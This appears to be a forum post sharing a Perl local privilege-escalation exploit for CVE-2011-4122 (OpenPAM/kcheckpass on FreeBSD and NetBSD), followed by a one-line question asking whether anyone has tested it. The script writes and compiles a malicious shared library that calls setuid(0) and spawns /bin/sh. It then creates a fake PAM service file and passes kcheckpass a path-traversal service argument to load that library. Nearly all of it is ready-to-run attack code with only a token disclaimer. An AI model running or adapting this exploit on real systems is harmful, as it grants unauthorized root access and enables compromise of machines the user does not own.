Код:
#!/usr/bin/perl
# Bugtraq ID: 50607
# Class: Design Error
# CVE: CVE-2011-4122
# Remote: No
# Local: Yes
# Published: Nov 09 2011 12:00AM
# Updated: Dec 23 2011 04:50PM
# kcheckpass invoking pam_start() with user provided
# service argument, what a bad idea. OpenPAM accepts that.
# Maybe this pam_start() vulnerability is exploitable via
# other vectors as well.
# Vuln tested on a FreeBSD 8.1. It does not affect
# Linux PAM, as it is checking for / character
# Vulnerable: OpenPAM OpenPAM 0
# NetBSD NetBSD current pre20010805
# NetBSD NetBSD current August 23 2006
# NetBSD NetBSD 4.0.2
# NetBSD NetBSD 4.0.1
# NetBSD NetBSD current pre20061022
# NetBSD NetBSD current pre20010701
# NetBSD NetBSD Current
# NetBSD NetBSD 5.1
# NetBSD NetBSD 4.0 BETA2
# FreeBSD Freebsd 9.0-STABLE
# FreeBSD Freebsd 9.0-RELEASE
# FreeBSD Freebsd 9.0-RC3
# FreeBSD Freebsd 9.0-RC1
# FreeBSD Freebsd 8.2-STABLE
# FreeBSD Freebsd 8.2-STABLE
# FreeBSD Freebsd 8.2-RELEASE-p2
# FreeBSD Freebsd 8.2-RELEASE-p1
# FreeBSD Freebsd 8.2 - RELEASE -p3
# FreeBSD Freebsd 8.2
# FreeBSD Freebsd 8.1-RELEASE-p5
# FreeBSD Freebsd 8.1-RELEASE-p4
# FreeBSD FreeBSD 8.1-RELEASE
# FreeBSD FreeBSD 8.1-PRERELEASE
# FreeBSD Freebsd 8.1
# FreeBSD Freebsd 7.4-STABLE
# FreeBSD Freebsd 7.4-RELEASE-p2
# FreeBSD Freebsd 7.4 -RELEASE-p3
# FreeBSD Freebsd 7.4
# FreeBSD FreeBSD 7.3-STABLE
# FreeBSD Freebsd 7.3-RELEASE-p6
# FreeBSD FreeBSD 7.3-RELEASE-p1
# FreeBSD Freebsd 7.3 - RELEASE - p7
# FreeBSD Freebsd 7.3
# (C) 2011 by some dude, meant as a PoC! Only use on your own
# machine and on your own risk!!!
#
# This commit is likely to fix the bug:
# http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c
#
my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";
# build suid shell
open(O,">/tmp/slam.c") or die $!;
print O<<EOC;
#include <stdio.h>
#include <unistd.h>
void __attribute__((constructor)) init()
{
char *a[] = {"/bin/sh", NULL};
setuid(0);
execve(*a, a, NULL);
}
EOC
close(O);
# build fake pam module
system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");
# build fake PAM service file
open(O,">/tmp/pamslam") or die $!;
print O<<EOP;
auth sufficient /tmp/slam.so
EOP
close(O);
print "We need more Elchsalami! Happy birthday dude!\n";
exec("$kcheckpass -c ../../../tmp/pamslam -m classic");
кто-нибудь проверял?